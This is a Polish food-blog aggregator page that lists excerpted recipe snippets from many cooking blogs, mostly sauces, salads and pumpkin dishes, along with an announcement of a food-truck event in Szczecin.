Władysława Szafera 3/5/7, 71-245 Szczecin Kiedy: 22 i 23 października Godzina: 12-20 Wstęp: Bezpłatny Lista Food Trucków: Belgijki - Frytki duże, grube i chrupiące  - frytki belgijskie z sosami własnej produkcji Kultowe Zapiekanki  - 50 cm klasyki polskiego street food-u gofreak  - gofry na wytrawnie i słodko West Coast Toast  - tosty Fresh Donuts  - amerykańskie pączki

Atlas Smaków
Spełnienie dziecięcych marzeń, czyli Gofrożki w Balduno 165

będącego jednocześnie rożkiem do lodów. Takie 2 w 1! I, mimo że o gofrach mam raczej złe zdanie, bo niezmiennie kojarzą mi się właśnie z tymi budkami i sztucznymi sosami we wszystkich kolorach tablicy mendelejewa, to Balduno pokazało, że można stworzyć coś, co nie tylko dobrze smakuje, ale i czadersko wygląda. No i dba o nasz cenny czas oraz niezdecydowanie

Food Square
Baba ghanoush – pasta z pieczonych bakłażanów 276

baba ghanoush? Tak jak hummus – jako przystawkę ze świeżymi warzywami, z chlebkiem naan lub pita . Z grillowanym mięsem, obok tzatziki. Jako pasta na kanapce, czy w wersji fusion – jako sos do makaronu. SKŁADNIKI 4 małe bakłażany (łącznie 800-900g) 3-4 łyżki pasty sezamowej tahini 1-2 małe ząbki czosnku 2-3 łyżki oleju lub oliwy z oliwek + olej/oliwa

Karo in the Kitchen
FITBURGERY Z KALAFIORA I KASZY JAGLANEJ 194

tradycyjnego kotleta. Pyszne i zdrowe kotleciki z kalafiora i kaszy jaglanej podane w delikatnej i mięciutkiej bułeczce hamburgerowej z sezamem. Świetnie smakują z dipem z awokado, plastrem pomidora i sosem majonezowo-jogurtowym. Polubią je nawet fani wołowych burgerów i nie lubiące warzyw dzieci.  SKŁADNIKI / 2 porcje 2 bułeczki hamburgerowe np.  własnego wypieku 2  KOTLETY Z KALAFIORA

cool and minty
Zapiekanka ziemniaczana z wędzonym łososiem i oscypkiem 272

dlatego polecam wypróbować :) 3-4 porcje: ok. 1 kg ugotowanych ziemniaków ok. 120 g łososia wędzonego na gorąco łyżka posiekanego szczypiorku łyżka posiekanej pietruszki 1/4 łyżeczki mielonej słodkiej papryki sos: 3/4 szklanki mleka 2 łyżki masła łyżka mąki spora szczypta gałki muszkatołowej spora szczypta czarnego mielonego pieprzu dodatkowo: łyżka ostrej musztardy 2 łyżki soku z cytryny pół dużego oscypka szczypta

Mienta blog
Indyk duszony z gruszką w sosie dyniowym z serem pleśniowym 194

pokrojone gruszki, wymieszać. Jeszcze chwilę wszystko razem dusić aby ser się rozpuścił a dynia się rozpadła i zagęściła całość. Makaron ugotować. Nałożyć na talerze, na makaron wyłożyć indyka w sosie i podawać. Przepis bierze udział w konkursie "1000 osobowości, 1000 pomysłów, jedna Lubella

Monia miesza i gotuje
Kotleciki ziemniaczane z twarogiem i szprotkami 202

twaróg i kilka szprotek, to dobre trio. Takim zestawieniem można nadziać pierogi, lub dodać jajko i mąkę i usmażyć kotleciki, które smakują i na ciepło i na zimno z sosem majonezowym, czy tysiąca wysp. Kotleciki ziemniaczane z twarogiem i szprotkami 180g ugotowanych i rozgniecionych ziemniaków 90 g twarogu 3 szprotki z puszki winter sprouts 1 łyżka kaszy manny

Posadzone i zjedzone
Pizza do odrywania 317

Bardzo podzielny pomysł na pizzę. Za każdym kolejnym oderwaniem trafiamy na inny smak - z serem, z pieczarkami czy wędliną. Takie bułeczki idealnie smakują maczane w czosnkowym sosie. Ciasto: 2,5 szklanki mąki pszennej 0,5 łyżeczki soli 0,5 łyżeczki cukru 3 łyżki oleju 20 g świeżych drożdży 1 szklanka wody Dodatkowo:  Keczup do smarowania 150 g pieczarek

VioletoweKucharzenie
SUTO HANDROLL – czyli sushi po australijsku! 177

Filadelfia Łosoś, Pikantny tuńczyk, Tatar z łososia, Łosoś z owocami No i dla wegetarian też się coś znajdzie: Fenkuł z burakiem i Karmelizowana gruszka. Do też aż 6 rodzajów sosów – jest czym wybierać! Nie będę ukrywać, że spróbowałam większości rolek ( obżarciuch straszny ze mnie! :D ). Faworytami zarówno dla mnie, jak i dla mojego kolegi, który smakował razem ze mną

Ostra na Słodko
Aksamitny krem z dyni z mleczkiem kokosowym 175

Zupa-krem z pieczonej dyni z mleczkiem kokosowym Zupa-krem z pieczonej dyni Zupa dyniowa z marchewką Dynia zapiekana z grzybami Prażone pestki dyni Schabowe roladki z dynią w sosie śliwkowym I na słodko: Dżem dyniowy z pomarańczami Przyprawa do ciasta dyniowego Ciasto dyniowo-pomarańczowe z suszonymi owocami Sernik dyniowy Pumpkin pie, czyli tarta dyniowa Dyniowe ślimaczki drożdżowe Placuszki dyniowe

Kulinarne przygody Gatity
Surówka z czerwonej kapusty 158

smaku, może być tłem do dania głównego, ale może też świetnie posłużyć za świetną przekąskę. pół niedużej główki czerwonej kapusty 100 g orzechów włoskich 100 g rodzynek sól sos: 3 łyżki oleju 1 łyżka soku

Polska Zupa
25 pomysłów na śniadanie z dynią. 232

Dyniowy pudding z drożdżówki Dyniowa polenta (kaszka kukurydziana) Cynamonowe pancakes z dynią Piernikowy sernik z dynią Dynia w wegańskim cieście sezamowym Dyniowe donuty z kaszy jaglanej Omlet dyniowy z sosem z żurawiny Wegański budyń z dyni i quinoa Dyniowy mus z ricottą Omlet jaglany z dynią Budyń dyniowy z makaronem i karmelizowaną pigwą Placki z dyni makaronowej Dyniowe scramble (pęczotto

Poranek na słodko
Sałatka z czarną quinoą, śliwkami, serem maziowym i prażonymi orzeszkami piniowymi 215

pokrojone na ćwiartki śliwki i  czarną quinoę. Ser kroimy na plastry i na mniejsze kawałki, dorzucamy do sałatki, wszystko posypujemy uprażonymi na suchej patelni orzeszkami piniowymi i polewamy sosem z oliwy, octu, świeżo zmielonego pierzu i odrobiny soli. Do tego podajemy dobre wytrawne winko i gotowe

Quinoa Raz!
Kurczak w porach 845

robiłam już kilka razy. Spotkałam się z wersją zapiekaną w piekarniku. Ja osobiście jednak wolę dusić go na patelni. Raz, dwa i gotowe. Podczas duszenia mięsa powstaje pyszny kremowy sos. Dlatego danie to podaję zawsze w towarzystwie ryżu. Mięso jest bardzo soczyste a por nadaje fajnej ostrości tej potrawie. Szczerze polecam, szczególnie tym zabieganym. Składniki: 4 pojedyncze piersi z kurczaka

Pobite gary Barbary
Gulasz warzywny z dynią 264

doskonałą propozycją na jesienny obiad : Gulasz warzywny z dynią. Pyszne sycące danie, z przewagą warzyw korzennych, które dają pyszny wyrazisty smak, w sosie z kremowej dyni, która w większości nam się rozpada podczas gotowanie. Całość połączona aromatycznymi przyprawami które nadają gulaszowi nutkę orientu, nie przytłaczając przy tym  podstawowych smaków. Natka pietruszki do wykończenia  dopina smakowo całość na ostatni

W kuchennej krainie
Gulasz na żeberkach z kaszą jęczmienną 180

razem z przyprawami. Dolać wodę i gotować około 40 minut do miękkości mięsa. Ściągnąć mięso z kości, pokroić. Wrzucić do garnka. Wymieszać mąkę z łyżką zimnej wody, Dodać do sosu razem z mascarpone. Zagotować. Podawać z kaszą o ogórkami

Magiczne Życie Marty
Sałarka ryżowa z mixem warzyw 318

ostudzić. Kabanosy/salami pokroić w plasterki. Około 2 łyżki majonezu wymieszać z 1 łyżką jogurtu naturalnego. Dodać pieprz lub/i przyprawę meksykańską. Ryż, warzywa i kabanosy/salami przełożyć do miski. Dodać sos majonezowo-jogurtowy i dokładnie wymieszać. W razie konieczności, sałatkę doprawić do smaku solą i przyprawami. Odstawić na pól godziny do lodówki. Smacznego

kolorowotorcikowo
Sałatka z awokado i buraka ćwikłowego 216

szczypta soli Buraczki oraz awokado kroimy w kostkę (około 1 na 1 cm). W miseczce mieszamy sok z cytryny, miód, sól, chili i pokrojoną drobno miętę. Zalewamy pokrojone składniki sosem i dokładnie mieszamy. Gotowe. Smacznego! Moja wersja tej sałatki jest naprawdę bardzo prosta. Można spróbować dodać do niej jajko, powinno się fajnie skomponowac z resztą składników. Share List SGMB

mecooks
Kokosowe bułeczki francuskie z chia 241

dodane do pieczywa. Można również dodawać je do jogurtu, warzyw czy dań z ryżu. Ze względu na ich zdolność do wchłaniania wody i tłuszczu, mogą być stosowane do zagęszczania sosów. Dodawanie nasiona chia do różnych produktów znacznie zwiększy ich wartość odżywczą.” Gorąco polecam i życzę smacznego. Zastępując cukier puder stevią* lub ksylitolem* otrzymamy bułeczki dla diabetyków. * Stevia nadaje się

mojewypiekiinietylko
Zdrowa i ekologiczna żywność od EkoHurtownia :) 200

roślin.  RECENZJA BĘDZIE DOSTĘPNA TUTAJ BIONA To brytyjska marka produkująca żywność organiczną, odpowiednią dla wegetarian. Oferta jest niezwykle szeroka i ciekawa. Znajdziesz tu między innymi: soki, przekąski, makarony, sosy, słodycze. Składniki użyte w produktach pochodzą z czystych i naturalnych terenów, na których nie używa się pestycydów i herbicydów ani GMO. Żywność odznacza się wysoką jakością, doskonałym smakiem i wysoką

Zdrowie na języku :P
Pulpeciki z indyka w sosie dyniowo - koperkowym 194

przemieszać, nakryć przykrywką i gotować na średnim ogniu około 20 minut. W międzyczasie gotujemy kaszę. Ja czas od czasu mieszałam wszystko, pod koniec gotowania dodałam koperek i śmietanę. Jak sos byłby za rzadki, to wtedy musimy przesiać przez sitko troszkę mąki ziemniaczanej, ja przesiałam około 1/2 łyżeczki. U mnie pulpeciki podane z kaszą gryczaną :-). Smacznego

kruche babeczki
Sałatka bulgur z hummusem 321

200g kaszy bulgur 1 słoiczek suszonych pomidorów w oliwie (około 150g po odsączeniu) 50g czarnych lub zielonych oliwek 1 mała cebula 2 duże ząbki czosnku 2 łyżeczki słodkiej papryki sos sojowy do smaku Wykonanie: 1 Wykonaj hummus według przepisu znajdującego się na blogu ( przepis na hummus ) i przełóż go do miseczki lub opakowania na wynos. 2 Ugotuj kaszę według instrukcji

Blendman
Sałatka z cykorii z owocami 140

ćwiartki, po usunięciu pestek pokroiłem w ósemki. Pomarańczę obrałem, wykroiłem cząstki, każdą przekroiłem na pół. Owoce wymieszałem z pokrojoną cykorią. Jogurt wymieszałem z olejem, sokiem z cytryny i octem. Sos doprawiłem solą i pieprzem, polałem sałatkę i delikatnie wymieszałem. Sałatkę wyłożyłem na talerze. Kiełki rzodkiewki opłukałem gorącą wodą, dokładnie osączyłem i razem z pestkami dyni dodałem do sałatki

R'n'G Kitchen
Penne z czerwonymi warzywami i włoską nutą 162

miękka, dodajemy pomidory. Po kilku minutach dodajemy paprykę i marchewkę. Całość mieszamy i przyprawiamy bazylią i oregano, solą i pieprzem do smaku. Smażymy na wolnym ogniu przez kilka minut. Sos dodajemy do makaronu i dokładnie mieszamy. Ser ścieramy na tarce i mieszamy z makaronem. 1/4 zostawiamy do posypania dania. Przekładamy do naczynia żaroodpornego, posypujemy resztą sera żółtego, a na wierzchu

My Chcemy Jeść
Millefoglie z bakłażana 158

bazylię, sól i pieprz. Bakłażana wytrzyj ręcznikiem papierowym i smaż z obu stron do miękkości(ja smażyłam na patelni grillowej bez tłuszczu). Przełóż na półmisek. Na bakłażan połóż łyżkę sosu pomidorowego i znów bakłażana, następnie warstwę pomidorów, mozzarellę i znów bakłażana – aż do wyczerpania składników. Na górze powinna się znaleźć warstwa pomidorów. Posyp startym parmezanem

Kuchnia bezglutenowa
"Zielony " kalafior - dietetycznie 198

ziół (pietruszka, koperek, mięta) Wykonanie: kalafiora obrać z zewnętrznych liści, odkroić wystający głąb, wypłukać i ugotować w osolonej wodzie - około 10 minut, tak by pozostał al dente składniki na sos winegret wymieszać do powstania gładkiej emulsji kalafiora odcedzić i podawać z zielonym winegretem. Super smakuje na zimno

Gotuj zdrowo!Guten Appetit!
Sałatka z tortellini i kurczakiem 550

tortellini 1 filet z piersi kurczaka (300-400g)  świeży ogórek czerwona papryka pęczek koperku 2 łyżeczki przyprawy do gyrosa 1 łyżka oleju sól  świeżo mielony pieprz sos: 4 łyżki majonezu 1 ząbek czosnku Makaron ugotować wg wskazówek na opakowaniu.  Filet pokroić w średnią kostkę,oprószyć przyprawą do gyrosa i usmażyć na oleju. Ogórka obrać,z papryki

Kolorowa kuchnia Elki
Kurki na maśle z natką pietruszki 209

chcemy z tak przygotowanych kurek z patelni przygotować samodzielne danie obiadowe, wystarczy do kurek na patelni dołożyć ugotowany al dente makaron, wlać słodką śmietankę i zagotować, utworzy się pyszny sos kurkowy ze śmietaną i makaronem. Podobny przepis na letnie kurki z pietruszką znalazłam przeglądając ostatnio książkę „Smaki z Fjällbacki” Camilli Läckberg mojej ulubionej skandynawskiej autorki kryminałów. Ta książka

Damsko-męskie spojrzenie na kuchnię
Najlepszy schab z grilla 190

Grillowane faszerowane piersi kurczaka z serem kozim. Jak przygotować najlepszy grillowany schab? Składniki: 1/2 kg schabu wieprzowego marynata: 1/4 szklanki oleju 1/2 łyżka musztardy 1/2 łyżki miodu 2 łyżki sosu sojowego 3 ząbki czosnku 1 łyżeczka czerwonej słodkiej papryki w proszku 1/2 łyżeczki ostrej papryki w proszku 1/2 łyżeczka suszonego tymianku 1/2 łyżeczka soli 1 łyżeczka pieprzu młotkowanego z kolendrą

Damsko-męskie spojrzenie na kuchnię
Cukinia w cieście 204

dodaniu sody maczamy plastry cukinii w cieście i smażymy z obu stron na dobrze rozgrzanym oleju. Usmażone plastry cukinii odsączamy z nadmiaru tłuszczu na ręczniku papierowym. Podajemy z sosem czosnkowo-jogurtowym z koperkiem. Smacznego! The post Cukinia w cieście appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Bulgur salad & Halloumi 233

serze odbiją się paski grilla. Zdejmujemy ser z patelni i układamy go na sałatce wraz z połówkami pomidorków koktajlowych. Doprawiamy pieprzem i natką pietruszki. Możemy też całość polać sosem winegret. The post Bulgur salad & Halloumi appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Schab faszerowany jajecznicą 185

włączonym termoobiegiem. Wyjmujemy, rozwijamy z papieru i pozwalamy chwilkę mięsu „odpocząć” następnie kroimy w grube plastry, podajemy na mixie sałat, np. rzymskiej z rukolą, pomidorkami i czerwoną cebulą, skropionym sosem winegret. The post Schab faszerowany jajecznicą appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Frytki z piekarnika 191

złoty kolor i będą odpowiednio chrupkie. Jeśli chcemy, by końcówki frytek były bardziej przyrumienione na 5 minut włączamy termoobieg ( podwyższy temp. pieczenia o ok. 20 stopni). Podajemy z ulubionym sosem, np. czosnkowo- jogurtowym lub z keczupem, majonezem, z tym co lubimy 🙂 Frytki zostały podane do wieprzowiny z piekarnika o smaku shawarmy . The post Frytki z piekarnika appeared first on Damsko

Damsko-męskie spojrzenie na kuchnię
Cebula i czosnek w proszku. Tajniki suszenia żywności 279

dodatek do dań, trzeba się przygotować na ok. 10 godzin suszenia, ale efekt końcowy w postaci proszku sprawdzi się jako dodatek smakowy do gorących dań, czy też dipów i sosów sałatkowych. Składniki: 4 duże cebule 1 główka czosnku Przygotowanie: Cebulę i czosnek obieramy z łupin. Cebulę kroimy na pół, a następnie wraz z czosnkiem kroimy w plastry

Damsko-męskie spojrzenie na kuchnię
Pikanta pasta chili 253

Pikanta pasta chili na zimę. Miałam nie robić już przetworów na zimę, ale dostałam papryczki chili, z których już w tym roku przygotowałam pyszny domowy sos sweet chili oraz pastę ze słodkiej papryki i papryczek chili. Nie chciałam się powtarzać i zrobiłam diabelnie ostrą pastę, czyli przeciwieństwo do sweet chili sauce. Pikanta pasta chili z pomidorami i odrobiną oliwy

Damsko-męskie spojrzenie na kuchnię
Pieczeń rzymska z pieczarkami i marchewką 262

jest bardziej wyrafinowana wersja kotleta mielonego. Jej zaletą jest niska cena i prostota wykonania. Bardzo dobrze też smakuje, zarówno na ciepło pokrojona w grube plastry podana z ziemniakami sosem na obiad, jak i na zimno na kanapkach pokrojona w cienkie plastry. Pieczeń rzymską można upiec w foremce lub bez, szczelnie zawiniętą w folię aluminiową. Polecam jednak pieczenie w keksówce, gdyż

Damsko-męskie spojrzenie na kuchnię
makaron z kurczakiem i suszonymi pomidorami (1000 pomysłów, jedna Lubella) 237

paseczki suszone pomidory i żurawinę, doprawiam solą i pieprzem i jeszcze przez chwilę smażę wszystko razem. Na sam koniec dodaję serek mascarpone i podgrzewam delikatnie, aż utworzy się aksamitny sos. Wtedy dodaję makaron, mieszam do połączenia. Na talerzu dekoruję posiekaną świeżą bazylią. Smacznego

babka w formie
DIETETYCZNA SAŁATKA Z KASZĄ KUSKUS 196

rzodkiewkę pokroić i dodać do napęczniałej i przestygniętej kaszy. Pestki uprażyć na suchej patelni, miętę posiekać dodać do pozostałych składników.  Sok pomarańczowy wymieszać z musztardą i olejem. Sos wymieszać z sałatką. Doprawić do smaku solą i pieprzem w razie potrzeby. Na wierzch pokroić jajko ( opcjonalnie). Jeść, jeść, jeść

pieprzny smaczek
Kotleciki z zielonego groszku 160

wyglądają obłędnie! Można je sprzedać dzieciom np. jako burgery Shreka;) Są delikatne w smaku i w konsystencji i stanowią świetną alternatywę dla tradycyjnych mielonych. Najlepiej smakują w towarzystwie wyrazistego sosu pomidorowego albo curry. Składniki: 350-400 g mrożonego zielonego groszku 2/3 szklanki płatków owsianych (zwykłych nie górskich) 1 jajko 2-3 małe dymki (biała część) sól, pieprz 1 łyżka

Kulinarne Inspiracje
Zapiekanka à la Musaka 247

wsypujemy mąkę kukurydzianą. Rozprowadzamy ją dokładnie w tłuszczu i zmniejszamy ogień do minimum, gdy zaczną pojawiać się bąble powietrza. Następnie powoli wlewamy mleko kokosowe, energicznie mieszając. Całość podgrzewamy, aż sos stanie się gęsty. Beszamelem polewamy gotową zapiekankę i wstawiamy ją do piekarnika nagrzanego do 200°C. Pieczemy przez 25 minut i podajemy. * * Przepis powstał dla Magazynu Kocioł

Food Square
41 przepisów na dania jednogarnkowe 365

jeszcze wiele ciekawych dań, które można przyrządzić w jednym garnku. Jesień też może być piękna i smaczna w naszych kuchniach! Obiecuję, że taka będzie! Botwinka z cukinią w delikatnym sosie Cappuccino brokułowe Crumble z owocami leśnymi Crumble z truskawkami Cukinia z papryką i czosnkiem w pomidorach Cukinia zapiekana z pomidorową passatą Cykoriowe łódeczki parmezanowo - pieczarkowe Duszone warzywa śródziemnomorskie Duszone warzywa

Moja smaczna kuchnia
Makaron z wędzoną makrelą 242

wody w której gotował się makaron. Gdy cebulka zmięknie na patelnię wlać śmietanę wymieszaną z żółtkami. Dodać też ugotowany makaron. Patelnię cały czas trzymać na ogniu i mieszać aż sos zgęstnieje i połączy się z makaronem. Aby całość nie była zbyt sucha podlać odrobiną wody w której gotował się makaron. Posypać natką pietruszki, wymieszać i można podawać. Przepis bierze udział

Monia miesza i gotuje
Co warto kupić w Lidlu 156

tzatziki robi się w domu. Jeśli jednak i na to brakuje czasu, a chcecie mieć fajny dodatek do pieczonych ziemniakó w , czy  kotlecików z cukinii polecam wypróbować powyższy sos. Produkt jest tani co zachęca, aby chociaż raz po niego sięgnąć. Tzatziki są dostępne podczas tygodnia greckiego, ale często można je spotkać już po zakończeniu akcji tematycznej.   Skład: jogurt

Bez Cebuli
Spaghetti alla puttanesca 150

czosnek i chili. 4. Następnie dodajemy oliwki, kapary oraz anchois i smażymy przez kolejne 2-3 minuty. 5. Ostatnie na patelni lądują pomidory. Całość gotujemy, aż utworzy się zwarty sos, a anchois zupełnie się rozpadną (ok. 7 minut). SMACZNEGO

Bez Cebuli
Pieczone jabłka z krówkami 491

Przepyszne pieczone jabłka z miłą, słodką niespodzianką w środku. Po ściągnięciu czapeczki mamy płynny karmelowy sos. Takie jabłuszka świetnie smakują same, ale można je podać z lodami albo bitą śmietaną. Najlepiej wybrać miękkie jabłka, po upieczeniu będzie można je jeść łyżeczką. Polecam ten szybki deser na ciepło :) 6 jabłek 6 cukierków krówek cynamon mielony Wybrać jabłka tej samej wielkości

https:KKuchniaMniam
Aromatyczne skrzydełka. 153

być wspaniałą gorącą przekąską, jednym z kolacyjnych, czy obiadowych dań! Przygotowane w dobrej marynacie z dodatkiem ogórkowego spaghetti  zaczarują Was smakiem! SKŁADNIKI: 1 kg. skrzydełek Marynata: 2 łyżki sosu sojowego lub maggi 2 łyżeczki majeranku 1/2 łyżeczki papryki ostrej 1/2 łyżeczki pieprzu białego 2 ząbki czosnku przeciśniętego przez praskę (plus 1, jeśli pieczemy na patelni) 1/2 łyżeczki soli

Kuchnia Beaty
15 FIT sałatek do pracy Lunchbox 580

mało dietetyczne) kanapki. Zrobiłam przydatne zestawienie 15 przepisów na sałatki w wersji FIT. * w trzech sałatkach pojawił się majonez, który śmiało możemy zastąpić jogurtem. Z ciecierzycą Z winogronami w sosie vinegrette Kapuściana w musztardzie Buraczana Z kuskus i łososiem Z młodego szpinaku i rzodkiewki Z jarmużem i jajkiem Białkowa z łososiem Lodowa z oliwkami w czosnku Dynia z pomidorami

Tradycyjna Kuchnia
Placki ziemniaczane 352

Idealne, chrupiące PLACKI ZIEMNIACZANE z kwaśną śmietaną świetnie sprawdzają się jako szybki i prosty do przygotowania obiad. Śmietanę możecie zastąpić grzybowym sosem, będą wówczas tak samo pyszne! Artykuł Placki ziemniaczane pochodzi z serwisu MenMagazine

Menmagazine
Łosoś w sosie serowym mascarpone i makaronem tagliatelle 217

sprężynką). Przelać do dania Całość przykrywamy pokrywką i - w gotujemy na małym ogniu ok. 5 minut, a następnie zdejmujemy pokrywkę i gotujemy jeszcze 2 minuty cały czas mieszając - wówczas sos się trochę zredukuje i zagęści bez używania mąki Podajemy i zjadamy :) Smacznego

www.szczesliwakuchnia.blogspot.com
Puszysty omlet z jabłkami / Fluffy apple pancake 293

skrop sokiem z cytryny i smaż mieszając od czasu do czasu, aż się ładnie skarmelizują, przez około 6 minut. Dodaj 1/4 szklanki miodu i gotuj na małym ogniu, aż sos zgęstnieje, przez około 1 minutę. Rozprowadź jabłka równomiernie na dnie patelni i zdejmij z ognia. W średniej misce wymieszaj mąkę z proszkiem do pieczenia i solą. W średniej misce ubij

karmelowy
Błyskawiczne piątki - podsumowanie 14.10.2016r. 186

Zapraszam na kolejne podsumowanie błyskawicznych piatków . W tym tygodniu mamy 1 3 przepisów.  Magdalena  Rozgrzewająca aromatyczna herbata   Gołąbki bez zawijania w jasnym sosie   Agnieszka Bułeczki cynamonowe   Aga Sałatka z czerwonym ryżem, wędzonym kurczakiem i serem Marzena  Enchilada   Małgosia  Pure z dyni i papryki chili Angelika Naleśniki idealne   Kasia Zupa krem

Magiczne Życie Marty
Szaszłyki z kurczaka 221

przygotować sobie taki wspaniały letni obiad. 1 duży filet z piersi kurczaka 1 mała cukinia 1/2 czerwonej papryki 1 cebula marynata: 2 łyżki oleju z pestek winogron 10 kropel sosu sojowego 1 łyżka suszonych ziół prowansalskich 1 ząbek czosnku sól  świeżo mielony pieprz ponadto: patyczki do szaszłyków Filet z kurczaka pokroić w dość sporą kostkę. Składniki marynaty wymieszać

Kolorowa kuchnia Elki
Polędwiczki miodowo-musztardowe 196

smażyć krótko z każdej strony, aż się mocno zarumienią. Zdjąć z patelni, pokroić w grube plastry. Na patelnię dodać jeszcze trochę oleju, włożyć pokrojone mięso i znów smażyć. Dodać sos i dusić, by nie było surowe w środku. Dosolić przed podaniem. Smacznego

Biały fartuszek
Kurczak w sosie pomidorowym na ostro 184

Ostatnio nie mam czasu na kombinowanie z potrawami, dlatego dziś zapraszam Was na bardzo szybki pomysł na obiad czyli kurczak w sosie pomidorowym na ostro. Ja podaję go z ryżem brązowym z racji tego, że jest bardzo zdrowy, ale jeśli nie lubicie to może być tez ryż biały lub makaron. Obiad ten będzie także pasował tym, którzy aktualnie dbają

Biały fartuszek
Lasagne ze szpinakiem i prosciutto 190

przepis na lasagne ze szpinakiem jako, że szpinak nie jest sam w sobie dość wyrazisty w smaku to warto go podkręcić innymi dodatkami. Ja dodałam prosciutto, ricottę, sos pomidorowy doprawiony bazylią i wierzch posypałam mozzarellą. Czytaj więcej

Biały fartuszek
Ryba w sosie jogurtowym 177

Ryba w sosie jogurtowym jest to specjał kuchni indyjskiej. Danie bardzo aromatyczne, wyraziste i pikantne. Wielbicielem ryb nigdy nie byłam, ale ta zdecydowanie przypadła mi do gustu. Czytaj więcej

Biały fartuszek
Kaszki zbożowe Nominal. 200

dodatków (chociażby odrobiny soli czy cukru) jest smaczna? Dla urozmaicenia można dodać świeże lub suszone owoce, bakalie, syrop czy serek. Można ich również używać do zagęszczania zup i sosów oraz jako dodatek do dań warzywnych. Ja osobiście najbardziej lubię je gotować na mleku z dodatkiem mielonego lnu - wtedy powstaje pyszny, naturalny budyń.  Do wyboru mamy 9 rodzajów, z czego

Poranek na słodko
Wedo - organiczna mąka bananowa! 175

będę musiała używać spinacza ani szukać jej po szafkach, bo doskonale się wyróżnia. :) Do czego można jej użyć? Jak wspomniałam na początku, świetnie nadaje się do zagęszczania zup, sosów i koktajli. Jak mąka kokosowa i migdałowa, dobrze sprawdza się na diecie paleo, ponieważ nie powstaje ze zbóż. Na stronie oficjalnej producenta możecie znaleźć ciekawe przepisy np. na bananowe placki

Poranek na słodko
Malinowe serniczki z owocami! 146

Malinowe serniczki z suszonymi wiśniami i żurawiną podane z pestkami granatu i sosem czekoladowym MALINOWE SERNICZKI Z BAKALIAMI /przepis własny/ 350 g twarogu sernikowego 30 g malinowego budyniu w proszku (bez cukru) duże jajko łyżka masła kakaowego (można zastąpić zwykłym) 15 g soczystych wiśni Bakalland 15 g żurawiny z sokiem z granatu Bakalland szczypta soli kilka kropel ekstraktu waniliowego

Poranek na słodko
Pączki z dziurką / oponki a'la truskawka w czekoladzie 171

łyżeczki proszku do pieczenia łyżeczka oliwy z oliwek bio extra virgin szczypta soli 65ml mocnej kawy arabiki (1/4 szklanki) 2  kasztany jadalne bio 2 figi ekologiczne Dodatki: passiflora sos kakaowy ekologiczny deser owsiany czekoladowy ekologiczne raw banany suszone napój żurawinowy bio Przygotowanie: Żółtko połączyć z syropem, w drugim naczyniu białko ubić na sztywną pianę z odrobiną soli.  Resztę

Poranek na słodko
Placki z kaszy gryczanej na przebudzenie mocy... i życzenia! 187

upieczone, podobnie jak większość dań. Do zrobienia zostały już tylko krokiety, barszcz i sałatka jarzynowa. Kasztanowe placki z kaszy gryczanej i awokado podane z serkiem naturalnym,  bananem, pomarańczowym sosem czekoladowym i pestkami granatu Pojawię się tutaj zapewne dopiero po Świętach, także już teraz pragnę złożyć Wam życzenia: Niech magiczna noc wigilijnego wieczoru przyniesie Wam spokój i radość. Niech każda

Poranek na słodko
Herbaty i inne produkty od Natjun! 180

więcej niż w zielonej herbacie czy czerwonym winie. Nie zawiera konserwantów, barwników, dodatków smakowych ani aromatów. Nie jest też sztucznie dosładzany. Można go rozcieńczać z wodą albo dodać do sosu sałatkowego, marynaty do mięs czy herbaty.  Bardzo dobry, lekko kwaskowaty. Podobno najlepiej jest pić go bezpośrednio. jednak ja dodaję go do bardzo gęstych serków typu speisequark.  *** Podsumowując, produkty

Poranek na słodko
Dyniowy omlet. 145

jajka kilka kropli ekstraktu z wanilii (lub cukru waniliowego) szczypta soli 1/3 łyżeczki proszku do pieczenia łyżeczka oleju kokosowego do natłuszczenia patelni (lub innego)  łyżka syropu daktylowego + sos z żurawiny wielkoowocowej + migdały w płatkach (Bakalland) Wszystkie składniki oprócz oleju kokosowego zmiksować na gładką masę.  Odstawić na 15 minut. Rozgrzaną patelnię natłuścić olejem, wylać masę i smażyć na małym

Poranek na słodko
Zdrowe naleśniki z serem. 217

łyżka oleju kokosowego szczypta soli Nadzienie: twaróg z dowolnymi dodatkami, u mnie: mielona wanilia burbońska konfitura z orzecha kokosowego, konfitura z guawy i mus z nektarynek i brzoskwiń Sos żurawinowy: 200 g żurawiny duszonej na małym ogniu z syropem klonowym i odrobiną oleju kokosowego Przygotowanie: Wszystkie składniki miksuję na jednolitą masę, a następnie pozostawiam  na kwadrans, żeby ciasto trochę

Poranek na słodko
Klasyczna owsianka z makiem. 188

typu śniadaniami,  bo nadaje wyrazistego akcentu. Takie ciepłe "comfort food" skutecznie rozleniwia, a więc na niedzielę jak znalazł :) Waniliowa owsianka z opiekanym musli makowym, pestkami dyni,  domowym sosem czekoladowym i truskawkami

Poranek na słodko
Budyniowe płatki z komosy ryżowej z awokado i czekoladą. 137

Budyniowe płatki z komosy ryżowej (Quinola Mothergrain) na mleku migdałowym  podane z awokado i sosem z gorzkiej czekolady

Poranek na słodko
Tosty francuskie z awokado. 166

Karmelowe* tosty francuskie z chleba bez laktozy i glutenu (Damhert) podane z jogurtem naturalnym, awokado i poppingiem z komosy ryżowej * do mieszaniny jajecznej dodałam łyżkę karmelowego sosu

Poranek na słodko
Puszyste placki z soczewicy i marchewki. 147

Placki z soczewicy i marchewki (Quinola Baby) podane z wegańskim sosem czekoladowo-pomarańczowym (Plamil Foods ), awokado i czekoladowymi pastylkami z miodem Placuszki z soczewicy i marchewki /przepis własny/ opakowanie (190 g) ugotowanej soczewicy i marchewki 3 łyżki mąki pszennej pełnoziarnistej łyżka mąki jaglanej jajko aromat migdałowy łyżeczka syropu daktylowego szczypta soli szczypta sody łyżeczka oleju kokosowego Zawartość opakowania łączymy

Poranek na słodko
Placuszki twarogowe z morelami. 188

wpływem soku z moreli lekko się "rozpłyną"  dlatego też ważne jest jedynie lekkie ich spłaszczenie. 5. Podawać z dowolnymi dodatkami  (u mnie SukrinMelis jako cukier puder, sos kakaowo-rumowy, truskawki i morele). Smacznego

Poranek na słodko
Placuszki kalafiorowe z komosą ryżową. 137

